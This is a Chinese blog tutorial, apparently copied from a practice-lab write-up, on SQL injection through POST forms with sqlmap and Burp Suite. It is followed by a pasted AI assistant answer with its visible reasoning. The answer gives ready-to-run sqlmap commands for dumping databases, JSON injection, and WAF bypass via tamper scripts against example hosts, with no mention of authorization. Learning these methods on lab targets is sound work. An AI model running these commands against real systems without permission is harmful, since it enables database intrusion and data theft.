sql注入sqlmap结合burpsuite进行注入-http post

第一种方法

form表单提交注入
方法还是通过常用的报错注入函数进行注入,只不过变成了post提交from表单的形式进行。
在这里插入图片描述

第二种方法:burpsuite

在这里插入图片描述

第三种sqlmap进行注入

把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

D:\python\PYTHON\sqlmap>python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-13/?id=1" --data="uname=admin&passwd=aaaaaa&submit=submit"   -v 3  --dbs

结果:
在这里插入图片描述

第三种:sqlmap和burpsuite结合

将burpsuite抓取的信息以txt文本形式放在本地
在这里插入图片描述
使用sqlmap进行注入
运行sqlmap,输入命令:参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt -dbs是获取命令参数。我们以获取当前数据库为例子

D:\python\PYTHON>python sqlmap/sqlmap.py -r aaa.txt -dbs
注意:要获取其他内容我们通过sqlmap加不同命令参数即可。

结果

在这里插入图片描述

<think>好的,用户现在想了解如何使用sqlmapPOST请求进行SQL注入测试。之前已经讨论过sqlmap--technique参数,用户可能已经对sqlmap的基础有了一定了解。现在需要详细说明POST注入的具体步骤和方法。 首先,我需要参考用户提供的站内引用,特别是引用[2]、[3]和[4],因为它们直接提到了POST注入的操作步骤。引用[2]提到使用Burp Suite拦截POST请求并保存为txt文件,然后用sqlmap-r参数加载。引用[3]和[4]也提到了类似的步骤,比如使用-r参数指定请求文件,以及使用--data参数直接传递POST数据。 用户的问题集中在POST请求的测试流程,所以需要分步骤解释,从准备请求数据开始,包括使用Burp Suite抓包或者手动构建POST数据。然后介绍sqlmap的不同命令参数,比如--data和-r的区别,以及常用的选项如-p指定参数,--batch自动执行,--dbs获取数据库等。 还需要注意用户可能的疑惑点,比如如何确定注入点参数,是否需要处理Cookie或Headers,以及不同场景下的实际案例,比如登录表单或搜索功能。此外,结合之前的回答提到的--technique参数,可能需要提醒用户根据实际情况调整注入技术以提高效率。 最后,要确保回答结构清晰,步骤明确,并附上相关问题,帮助用户进一步学习。同时,要检查引用是否正确,比如引用[2]提到结合Burp Suite和-r参数,引用[3]中的各种命令示例,引用[4]中的实例操作,确保信息准确无误。</think>以下是通过sqlmap进行POST请求SQL注入测试的详细步骤,结合Burp Suite和直接命令行两种方式实现: ### 一、准备POST请求数据 #### 方法1:Burp Suite抓包 1. **配置代理** Burp Suite设置监听端口(如`127.0.0.1:8080`),浏览器配置相同代理[^2] 2. **拦截请求** 提交目标表单(如登录/搜索),Burp Suite会捕获类似请求: ```http POST /login.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded username=test&password=123 ``` 3. **保存请求文件** 将完整请求内容保存为`.txt`文件(如`post.txt`)[^4] #### 方法2:手动构建请求 直接通过`--data`参数传递POST数据: ```bash sqlmap -u "http://example.com/login.php" --data="username=test&password=123" ``` --- ### 二、注入测试命令 #### 基础命令 ```bash sqlmap -r post.txt -p "username" --batch --dbs ``` - `-r`:加载含POST请求的抓包文件[^2][^4] - `-p`:指定测试参数(如`username`字段) - `--batch`:自动选择默认选项[^3] - `--dbs`:枚举数据库 --- ### 三、进阶操作 #### 1. 指定注入点 若参数包含特殊字符(如`json={...}`),需用`*`标记注入位置: ```http POST /api HTTP/1.1 Content-Type: application/json {"user":"test*","token":"abc"} ``` 命令行: ```bash sqlmap -r post.txt -p "user" ``` #### 2. Cookie/Header处理 需要认证时添加`--cookie`或`--headers`: ```bash sqlmap -u "http://example.com/search" --data="keyword=test" --cookie="PHPSESSID=abc123" --level=3 ``` #### 3. 结果提取 | 命令参数 | 功能 | 示例输出 | |------------------|---------------------------|--------------------------| | `--current-db` | 获取当前数据库 | `current database: 'testdb'` | | `-D testdb --tables` | 列举数据库表 | `[2 tables] users, orders` | | `-T users --columns` | 获取表字段 | `id, username, password` | | `--dump` | 导出数据 | 显示所有记录内容 | --- ### 四、典型场景案例 #### 案例1:登录表单注入 ```bash sqlmap -r login.txt -p "password" --technique=BE --risk=3 ``` - `--technique=BE`:布尔/时间盲注组合 - `--risk=3`:启用危险操作(如`OR 1=1`) #### 案例2:JSON格式注入 ```bash sqlmap -u "http://api.example.com" --data='{"id":1}' --headers="Content-Type: application/json" --level=5 ``` --- ### 五、常见问题处理 1. **请求遗漏** 确保抓包文件包含完整的`Host`和`Content-Type`头部[^2] 2. **WAF绕过** 添加`--tamper=space2comment`等脚本混淆payload 3. **速度优化** ```bash sqlmap -r post.txt --threads=5 --optimize ``` --- ### 六、综合操作流程图 ```mermaid graph TD A[启动Burp Suite抓包] --> B{是否含动态参数?} B -->|是| C[保存为post.txt] B -->|否| D[手动构建--data参数] C --> E[执行sqlmap -r post.txt] D --> E E --> F[分析注入结果] ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值